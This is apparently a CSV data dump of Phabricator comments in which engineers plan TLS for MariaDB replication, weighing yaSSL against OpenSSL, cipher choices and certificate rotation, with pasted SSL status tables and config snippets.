+| Ssl_callback_cache_hits        | 0                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           |
+| Ssl_cipher                     | DHE-RSA-AES256-GCM-SHA384                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   |
+| Ssl_cipher_list                | ECDHE-RSA-AES256-GCM-SHA384:ECDHE-ECDSA-AES256-GCM-SHA384:ECDHE-RSA-AES256-SHA384:ECDHE-ECDSA-AES256-SHA384:DH-DSS-AES256-GCM-SHA384:DHE-DSS-AES256-GCM-SHA384:DH-RSA-AES256-GCM-SHA384:DHE-RSA-AES256-GCM-SHA384:DHE-RSA-AES256-SHA256:DHE-DSS-AES256-SHA256:DH-RSA-AES256-SHA256:DH-DSS-AES256-SHA256:ADH-AES256-GCM-SHA384:ADH-AES256-SHA256:ECDH-RSA-AES256-GCM-SHA384:ECDH-ECDSA-AES256-GCM-SHA384:ECDH-RSA-AES256-SHA384:ECDH-ECDSA-AES256-SHA384:AES256-GCM-SHA384:AES256-SHA256:ECDHE-RSA-AES128-GCM-SHA256:ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-RSA-AES128-SHA256:ECDHE-ECDSA-AES128-SHA256:DH-DSS-AES128-GCM-SHA256:DHE-DSS-AES128-GCM-SHA256:DH-RSA-AES128-GCM-SHA256:DHE-RSA-AES128-GCM-SHA256:DHE-RSA-AES128-SHA256:DHE-DSS-AES128-SHA256:DH-RSA-AES128-SHA256:DH-DSS-AES128-SHA256:ADH-AES128-GCM-SHA256:ADH-AES128-SHA256:ECDH-RSA-AES128-GCM-SHA256:ECDH-ECDSA-AES128-GCM-SHA256:ECDH-RSA-AES128-SHA256:ECDH-ECDSA-AES128-SHA256:AES128-GCM-SHA256:AES128-SHA256:NULL-SHA256 |
+| Ssl_client_connects            | 0                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           |
+| Ssl_connect_renegotiates       | 0                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           |
+| Ssl_ctx_verify_depth           | 18446744073709551615                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        |
+| Ssl_ctx_verify_mode            | 5                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           |
+| Ssl_default_timeout            | 7200                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        |
+| Ssl_finished_accepts           | 2                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           |
+| Ssl_finished_connects          | 0                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           |
+| Ssl_server_not_after           | Oct 29 18:33:04 2016 GMT                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    |
+| Ssl_server_not_before          | Oct 30 18:33:04 2015 GMT                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    |
+| Ssl_session_cache_hits         | 0                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           |
+| Ssl_session_cache_misses       | 0                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           |
+| Ssl_session_cache_mode         | SERVER                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      |
+| Ssl_session_cache_overflows    | 0                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           |
+| Ssl_session_cache_size         | 128                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         |
+| Ssl_session_cache_timeouts     | 0                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           |
+| Ssl_sessions_reused            | 0                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           |
+| Ssl_used_session_cache_entries | 0                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           |
+| Ssl_verify_depth               | 18446744073709551615                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        |
+| Ssl_verify_mode                | 5                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           |
+| Ssl_version                    | TLSv1.2                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     |
++--------------------------------+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
+26 rows in set (0.00 sec)
+```
+
+Of course, please give me some time to properly validate this new mariadb package/version.",,,1447258332,,PHID-USER-gzd4fguky5ixnvz46fvu,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,True,,,18,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,1,1,0,0,0,0,0,1,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,1,1,0,1,1,1,0,1,0,1,0,0,1,0,1,1,0,1
+561593,Set up TLS for MariaDB replication,"Please note than I am aiming for OpenSSL integration and the recommend cipher (I've just recompiled and about to test the new package now). I wanted to know if we had a failback option (specially in cases where installing the new package may not be feasible, short term).",,,1447256144,,PHID-USER-gzd4fguky5ixnvz46fvu,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,True,,,18,True,0,0,0,0,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,1,1,0,1,0,0,0,1,0,0,0,1,0,0,0,1,0,0,0,1,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0
+561563,Set up TLS for MariaDB replication,">>! In T111654#1798891, @jcrespo wrote:
+> @JanZerebecki @Dzahn how bad would it be to use one of the ciphers provided by yassl? 
+
+The low DHE key size is probably the worse problem then. But enabling TLS with key verification and using any keys via puppet will make it easier to change the ciphers and keys for better ones. We need to expect to change keys and ciphers in the future anyway. Switching from yaSSL to openssl is a good idea as Moritz outlined. (yaSSL should probably not be used, it was replaced by wolfSSL.)",,,1447253528,,PHID-USER-mdihg2tyzmlvyhn3h32y,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,True,,,18,True,1,0,0,1,1,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,1,1,0,0,1,1,0,0,0,1,0,1,1,1,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,1,0,1,0,1,0,1,1,1,1,0,1,1,0,1,1,0,1,1,0,1
+561538,Set up TLS for MariaDB replication,"[Offtopic] BTW, that makes no sense, MySQL is not GPL, it is GPL + free software exception https://github.com/mysql/mysql-server/blob/5.7/README .
+
+Ah, it may not apply for mariadb because they may be using other GPL-only components: https://github.com/MariaDB/server/blob/10.1/README",,,1447247912,,PHID-USER-gzd4fguky5ixnvz46fvu,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,True,,,18,True,0,0,0,0,1,1,0,1,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,0,0,0,0,1,1,0,0,1,1,1,0,0,0,1,1,1,0,0,1,0,0,1
+561537,Set up TLS for MariaDB replication,"[Offtopic] BTW, that makes no sense, MySQL is not GPL, it is GPL + free software exception https://github.com/mysql/mysql-server/blob/5.7/README .",,,1447247751,,PHID-USER-gzd4fguky5ixnvz46fvu,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,True,,,18,True,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,1,1,0,0,0,0,0,1
+561526,Set up TLS for MariaDB replication,"The OpenSSL license is incompatible to the GPL due to some poor phrasing back in the days when OpenSSL/SSLeay was founded: https://en.wikipedia.org/wiki/OpenSSL#Licensing
+
+All other distributions except Debian (and as a consequence Ubuntu) don't generally care about that since the GPL has an exception for ""system libraries"" and OpenSSL is treated as one (hard to argue against that IMO). That's the approach SuSE/Novell and Red Hat have chosen and I'm fairly sure they've had ample legal scrutiny. Debian couldn't find a consensus until now (fortunately OpenSSL will move to the Apache2 license in the future) and as a consequence many GPLed programs are built with GNUTLS or where that is not possible even with TLS disabled (e.g. Squid). Thus mysql/mariadb is built with the internal yassl copy.
+
+Since we're using a local, custom build of mariadb/mysql moving to openssl is preferable since it's more featureful and has seen a lot more scrunity and review than yassl (which is essentially only used by mysql/mariadb).
+
+It also simplifies our updates, if there's a future crypto bug on the protocol level we would only need to deploy OpenSSL updates (and not wait how Oracle might fix it in yassl in the next Oracle quarterly update).
+
+The commercial MySQL Enterprise binaries from Oracle are also built with OpenSSL (only the Comunity Edition for some reason uses yaSSL)",,,1447244726,,PHID-USER-abszjqutasfjxgagymds,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,True,,,18,True,1,0,0,1,1,1,1,0,0,1,1,1,0,1,1,1,0,1,1,0,1,0,1,0,1,1,0,0,1,1,1,1,1,1,1,0,0,1,1,1,0,1,1,1,1,1,0,0,0,1,1,1,1,1,0,0,0,1,1,0,0,1,0,0,1,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,1,1,0,1,1,0,0
+561514,Set up TLS for MariaDB replication,"@JanZerebecki @Dzahn how bad would it be to use one of the ciphers provided by yassl? 
+
+Debian doesn't like linking it to OpenSSL, it seems: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=787118",,,1447243633,,PHID-USER-gzd4fguky5ixnvz46fvu,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,True,,,18,True,0,0,0,0,1,1,1,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,1,0,1,1,1,1,0,1,1,1,1,0,0,1,0,0,0
+561513,Set up TLS for MariaDB replication,"@JanZerebecki @Dzhan how bad would it be to use one of the ciphers provided by yassl? 
+
+Debian doesn't like linking it to OpenSSL, it seems: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=787118",,,1447243592,,PHID-USER-gzd4fguky5ixnvz46fvu,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,True,,,18,True,0,0,0,0,1,1,1,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,1,0,1,1,1,1,0,1,1,1,1,0,0,1,0,0,0
+561512,Set up TLS for MariaDB replication,"@JanZerebecki how bad would it be to use one of the ciphers provided by yassl? 
+
+Debian doesn't like linking it to OpenSSL, it seems: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=787118",,,1447243498,,PHID-USER-gzd4fguky5ixnvz46fvu,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,True,,,18,True,0,0,0,0,1,1,1,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,1,0,1,1,1,1,0,1,1,1,1,0,0,1,0,0,0
+561504,Set up TLS for MariaDB replication,"So, I am continuing with the operational tests (please understand that I have not yet solidified the ciphers, it was a test of configuration changes), and that I am using 1 time keys that were generated in an unsecured way (but are ok to use for tests because they are not used for authentication):
+
+```
+iron:~/software/dbtools/openssl$ mysql -h db2067.codfw.wmnet --ssl-ca=cacert.pem --ssl-cert=client-cert.pem --ssl-key=client-key.pem
+Welcome to the MySQL monitor.  Commands end with ; or \g.
+Your MySQL connection id is 746
+Server version: 5.5.5-10.0.22-MariaDB-log MariaDB Server
+
+Copyright (c) 2000, 2015, Oracle and/or its affiliates. All rights reserved.
+
+Oracle is a registered trademark of Oracle Corporation and/or its
+affiliates. Other names may be trademarks of their respective
+owners.
+
+Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
+
+mysql> SHOW SESSION STATUS LIKE '%Ssl%';
++--------------------------------+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
+| Variable_name                  | Value                                                                                                                                                                                                                                       |
++--------------------------------+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
+| Com_show_processlist           | 0                                                                                                                                                                                                                                           |
+| Ssl_accept_renegotiates        | 0                                                                                                                                                                                                                                           |
+| Ssl_accepts                    | 0                                                                                                                                                                                                                                           |
+| Ssl_callback_cache_hits        | 0                                                                                                                                                                                                                                           |
+| Ssl_cipher                     | DHE-RSA-AES256-SHA                                                                                                                                                                                                                          |
+| Ssl_cipher_list                | DHE-RSA-AES256-SHA:AES256-SHA:DHE-RSA-AES128-SHA:AES128-SHA:AES256-RMD:AES128-RMD:DES-CBC3-RMD:DHE-RSA-AES256-RMD:DHE-RSA-AES128-RMD:DHE-RSA-DES-CBC3-RMD:RC4-SHA:RC4-MD5:DES-CBC3-SHA:DES-CBC-SHA:EDH-RSA-DES-CBC3-SHA:EDH-RSA-DES-CBC-SHA |
+| Ssl_client_connects            | 0                                                                                                                                                                                                                                           |
+| Ssl_connect_renegotiates       | 0                                                                                                                                                                                                                                           |
+| Ssl_ctx_verify_depth           | 0                                                                                                                                                                                                                                           |
+| Ssl_ctx_verify_mode            | 0                                                                                                                                                                                                                                           |
+| Ssl_default_timeout            | 500                                                                                                                                                                                                                                         |
+| Ssl_finished_accepts           | 0                                                                                                                                                                                                                                           |
+| Ssl_finished_connects          | 0                                                                                                                                                                                                                                           |
+| Ssl_server_not_after           | Oct 29 18:33:04 2016 GMT                                                                                                                                                                                                                    |
+| Ssl_server_not_before          | Oct 30 18:33:04 2015 GMT                                                                                                                                                                                                                    |
+| Ssl_session_cache_hits         | 0                                                                                                                                                                                                                                           |
+| Ssl_session_cache_misses       | 0                                                                                                                                                                                                                                           |
+| Ssl_session_cache_mode         | Unknown                                                                                                                                                                                                                                     |
+| Ssl_session_cache_overflows    | 0                                                                                                                                                                                                                                           |
+| Ssl_session_cache_size         | 0                                                                                                                                                                                                                                           |
+| Ssl_session_cache_timeouts     | 0                                                                                                                                                                                                                                           |
+| Ssl_sessions_reused            | 0                                                                                                                                                                                                                                           |
+| Ssl_used_session_cache_entries | 0                                                                                                                                                                                                                                           |
+| Ssl_verify_depth               | 0                                                                                                                                                                                                                                           |
+| Ssl_verify_mode                | 0                                                                                                                                                                                                                                           |
+| Ssl_version                    | TLSv1                                                                                                                                                                                                                                       |
++--------------------------------+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
+26 rows in set (0.03 sec)
+```
+
+Things I see immediately impacting is the default ssl timeout, which will force reconnection after 500 seconds. While that is not an issue for regular mw users (or replication, which sends pings and reconnects automatically), that could impact long-running idle connections (for good, I would say).
+
+BTW: MySQL 5.7 added an utility to create self-signed keys and certs: https://dev.mysql.com/doc/refman/5.7/en/mysql-ssl-rsa-setup.html
+Ssl_default_timeout            | 500
+
+The reason for that limited cipher list is because we use a MariaDB package using YaSSL instead of openssl. I will need to recompile it to link it to openssl instead. Because of this, if we force ssl_cipher=TLSv1.2, ssl fails to start (but the server starts with ssl disabled). I think this is interesting to be documented in case we need to setup SSL with the current package.",,,1447242326,,PHID-USER-gzd4fguky5ixnvz46fvu,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,True,,,18,True,1,0,0,1,1,1,1,1,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,1,0,1,1,1,1,0,1,0,0,1,1,0,1,0,1,0,1,0,1,1,1,0,0,0,1,0,0,0,1,1,0,0,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,1,1,0,1,1,1,0,1,0,1,0,1,1,0,1,0,0,1
+561502,Set up TLS for MariaDB replication,"So, I am continuing with the operational tests (please understand that I have not yet solidified the ciphers, it was a test of configuration changes), and that I am using 1 time keys that were generated in an unsecured way (but are ok to use for tests because they are not used for authentication):
+
+```
+iron:~/software/dbtools/openssl$ mysql -h db2067.codfw.wmnet --ssl-ca=cacert.pem --ssl-cert=client-cert.pem --ssl-key=client-key.pem
+Welcome to the MySQL monitor.  Commands end with ; or \g.
+Your MySQL connection id is 746
+Server version: 5.5.5-10.0.22-MariaDB-log MariaDB Server
+
+Copyright (c) 2000, 2015, Oracle and/or its affiliates. All rights reserved.
+
+Oracle is a registered trademark of Oracle Corporation and/or its
+affiliates. Other names may be trademarks of their respective
+owners.
+
+Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
+
+mysql> SHOW SESSION STATUS LIKE '%Ssl%';
++--------------------------------+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
+| Variable_name                  | Value                                                                                                                                                                                                                                       |
++--------------------------------+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
+| Com_show_processlist           | 0                                                                                                                                                                                                                                           |
+| Ssl_accept_renegotiates        | 0                                                                                                                                                                                                                                           |
+| Ssl_accepts                    | 0                                                                                                                                                                                                                                           |
+| Ssl_callback_cache_hits        | 0                                                                                                                                                                                                                                           |
+| Ssl_cipher                     | DHE-RSA-AES256-SHA                                                                                                                                                                                                                          |
+| Ssl_cipher_list                | DHE-RSA-AES256-SHA:AES256-SHA:DHE-RSA-AES128-SHA:AES128-SHA:AES256-RMD:AES128-RMD:DES-CBC3-RMD:DHE-RSA-AES256-RMD:DHE-RSA-AES128-RMD:DHE-RSA-DES-CBC3-RMD:RC4-SHA:RC4-MD5:DES-CBC3-SHA:DES-CBC-SHA:EDH-RSA-DES-CBC3-SHA:EDH-RSA-DES-CBC-SHA |
+| Ssl_client_connects            | 0                                                                                                                                                                                                                                           |
+| Ssl_connect_renegotiates       | 0                                                                                                                                                                                                                                           |
+| Ssl_ctx_verify_depth           | 0                                                                                                                                                                                                                                           |
+| Ssl_ctx_verify_mode            | 0                                                                                                                                                                                                                                           |
+| Ssl_default_timeout            | 500                                                                                                                                                                                                                                         |
+| Ssl_finished_accepts           | 0                                                                                                                                                                                                                                           |
+| Ssl_finished_connects          | 0                                                                                                                                                                                                                                           |
+| Ssl_server_not_after           | Oct 29 18:33:04 2016 GMT                                                                                                                                                                                                                    |
+| Ssl_server_not_before          | Oct 30 18:33:04 2015 GMT                                                                                                                                                                                                                    |
+| Ssl_session_cache_hits         | 0                                                                                                                                                                                                                                           |
+| Ssl_session_cache_misses       | 0                                                                                                                                                                                                                                           |
+| Ssl_session_cache_mode         | Unknown                                                                                                                                                                                                                                     |
+| Ssl_session_cache_overflows    | 0                                                                                                                                                                                                                                           |
+| Ssl_session_cache_size         | 0                                                                                                                                                                                                                                           |
+| Ssl_session_cache_timeouts     | 0                                                                                                                                                                                                                                           |
+| Ssl_sessions_reused            | 0                                                                                                                                                                                                                                           |
+| Ssl_used_session_cache_entries | 0                                                                                                                                                                                                                                           |
+| Ssl_verify_depth               | 0                                                                                                                                                                                                                                           |
+| Ssl_verify_mode                | 0                                                                                                                                                                                                                                           |
+| Ssl_version                    | TLSv1                                                                                                                                                                                                                                       |
++--------------------------------+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
+26 rows in set (0.03 sec)
+```
+
+Things I see immediately impacting is the default ssl timeout, which will force reconnection after 500 seconds. While that is not an issue for regular mw users (or replication, which sends pings and reconnects automatically), that could impact long-running idle connections (for good, I would say).
+
+BTW: MySQL 5.7 added an utility to create self-signed keys and certs: https://dev.mysql.com/doc/refman/5.7/en/mysql-ssl-rsa-setup.html
+Ssl_default_timeout            | 500
+
+The reason for that limited cipher list is because we use a MariaDB package using YaSSL instead of openssl. I will need to recompile it to link it to openssl instead. Because of this, if we force ssl_cipher=TLSv1.2, ssl fails to start (but the server starts with ssl disabled).",,,1447242063,,PHID-USER-gzd4fguky5ixnvz46fvu,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,True,,,18,True,1,0,0,1,1,1,1,1,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,1,0,1,1,1,1,0,1,0,0,1,1,0,1,0,1,0,1,0,1,1,1,0,0,0,1,0,0,0,1,1,0,0,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,1,1,0,1,1,1,0,1,0,1,0,1,1,0,1,0,0,1
+555964,Set up TLS for MariaDB replication,">>! In T111654#1770311, @jcrespo wrote:
+> * We hit a recent bug by which [[ https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=788905 | mysql and mariadb has hardcoded 512-sizedh ephemeral keys ]],
+
+The cipher suggested above uses ECDHE not DHE, so this doesn't need to be fixed for us, if the suggested cipher works. ",,,1446317921,,PHID-USER-mdihg2tyzmlvyhn3h32y,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,True,,,17,True,0,0,0,1,1,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,1,1,1,0,0,0,1,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,1,0,1,0,1,0,1,1,1,0,0,1,1,1,1,1,1,0,0,0,1
+555675,Set up TLS for MariaDB replication,"The puppetization tasks are trivial, but they cannot be done until the previous problem is solved.
+* Modify /etc/my.cnf
+
+on the [client] section:
+
+```
+#ssl
+ssl-ca=/etc/mysql/ssl/cacert.pem
+ssl-cert=/etc/mysql/ssl/client-cert.pem
+ssl-key=/etc/mysql/ssl/client-key.pem
+```
+
+on the [mysqld] section:
+
+
+```
+# ssl
+ssl-ca=/etc/mysql/ssl/cacert.pem
+ssl-cert=/etc/mysql/ssl/server-cert.pem
+ssl-key=/etc/mysql/ssl/server-key.pem
+```
+
+* create directory /etc/mysql/ssl/ and the following files, owned by mysql, group root, 640 rights from the private repository:
+```
+cacert.pem
+client-cert.pem
+client-key.pem
+server-cert.pem
+server-key.pem
+```
+
+We can later tune more options.",,,1446237224,,PHID-USER-gzd4fguky5ixnvz46fvu,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,True,,,17,True,0,0,0,1,1,1,1,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,1,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,1,0,1,1,0,0,0,1,1,0,1,0,1,1,1,0,0,0,1,0,0,0,0,1,1,0,1
+555670,Set up TLS for MariaDB replication,"I wanted to setup an operational test with 1 time certs and keys, not for production usage, but to observe operational issues and performance.
+
+This resulted in a great idea, as it gave me 2 insights:
+
+* I confirmed my suspicions of requiring a mysql restart to enable SSL. This is an inconvenience, but not a huge blocker. It will delay, however, its application to the 5.5 masters.
+* We hit a recent bug by which [[ https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=788905 | mysql and mariadb has hardcoded 512-sizedh ephemeral keys ]], making it incompatible with our version of openssh (see linked debian report) This has been solved in [[ https://mariadb.atlassian.net/browse/MDEV-8352 | 5.5.45, 5.6.26, 5.7.6 ]] and [[ http://bugs.mysql.com/bug.php?id=77275 | MariaDB 10.0.21 ]]. This is a more complex task, we will see what is the best course if action but it will probably require a full fleet update to 10.0.21/10.0.22.",,,1446236754,,PHID-USER-gzd4fguky5ixnvz46fvu,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,True,,,17,True,0,0,0,1,1,1,1,0,0,1,1,0,0,0,0,1,0,1,1,0,1,0,0,0,1,1,1,0,0,1,0,1,1,1,1,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,0,0,1,0,0,0,1,1,1,0,1,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,1,1,1,1,1,1,1
+550425,Set up TLS for MariaDB replication,"For the cipher we might want to start with ECDHE-RSA-AES128-GCM-SHA256. ECDHE-ECDSA-AES128-GCM-SHA256 might be an alternate option if we want to try EC keys. We only need to pick the best cipher, instead of having a long list of acceptable ones as we configure and control both end points at the same time.
+
+Using an ECDSA private key instaed of RSA might be worthwhile if one is concerned about performance of connection setup. Which I'm not in this case. I see no way to configure the curves for EC nor the key size for forward secrecy in mysql. To mitigate the later a bit we should avoid ciphers with DHE. (Wouldn't it be nice if the defaults of openssl were good? Also still no good curves in openssl :( .) To push everything to 265bit security seems to require patching openssl or how it is used, but I haven't looked at the code.
+
+>>! In T111654#1737846, @jcrespo wrote:
+> * Recommended cipher and key length (I suppose 2048), that we use for other production services (I assume `ssl_cipher=TLSv1.2`, which limits them to the ones of the 1.2 version).
+
+ECDHE-RSA-AES128-GCM-SHA256 with minimum RSA key size 2k, better 4k.
+
+> * Expiration time? Replication will break when expired.
+
+Depends on the key rotation time. If rotation is done yearly then perhaps 3 month more then when rotation is expected to be done. It would be better to do this more often because with routine it would be less likely to cause problems. We have the technical ability to reduce key rotation to one script.
+
+It is worthwhile to architect it so that you can trust two sets of keys at the same time, so that a rotation can happen seamlessly.
+
+I see in your script that you used a CA. How will you handle revocation? The alternative to that would be to distribute the self-signed certificate for every private key and revocation would be removing that certificate via puppet.
+
+> * Should we generate a client certificate for every single client (please note that clients are not authenticated using the certs, they continue using passwords, but maybe they could be blacklisted)?
+
+Then no. Only makes sense if it is used to replace passwords.
+
+
+>>! In T111654#1741116, @Dzahn wrote:
+> can we first see with cipher_list which are available?
+
+Tried that while using an unencrypted connection, it is empty. Should be everything that openssl provides.",,,1445525499,,PHID-USER-mdihg2tyzmlvyhn3h32y,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,True,,,16,True,1,1,0,1,1,1,1,1,0,1,1,1,0,1,0,1,1,1,1,1,1,1,0,0,1,1,0,0,1,1,0,1,1,1,1,1,1,1,0,1,1,1,1,1,0,1,1,0,1,1,1,1,1,1,1,0,0,1,0,1,1,0,0,0,1,0,0,1,1,1,1,1,1,0,0,1,0,1,1,1,0,1,1,1,1,0,1,1,0,1,1,1,1,1,1,1
+549536,Set up TLS for MariaDB replication,"https://mariadb.com/kb/en/mariadb/mysql_get_ssl_cipher/
+
+https://mariadb.com/kb/en/mariadb/mysql_ssl_set/
+
+https://mariadb.com/kb/en/mariadb/ssl-status-variables/#ssl_cipher_list
+
+can we first see with cipher_list which are available?",,,1445406240,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,True,,,15,True,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,1,1,0,0,0,0,0,0
+549533,Set up TLS for MariaDB replication,">>! In T111654#1737846, @jcrespo wrote:
+> * (I assume `ssl_cipher=TLSv1.2
+
+actually, a value TLSv1.2 i would expect for ssl_protocols vs. ssl_cipher. and then a list of ciphers for ssl_cipher.
+compared to Apache:
+
+```
+
+212       when 'strong' then
+213         output.push('ssl_protocols TLSv1.2;')
+
+```
+
+```
+ 79     'strong' => [
+ 80       '-ALL',
+ 81       'ECDHE-ECDSA-AES128-GCM-SHA256',
+ 82       'ECDHE-RSA-AES128-GCM-SHA256',
+ 83       'DHE-RSA-AES128-GCM-SHA256',
+...
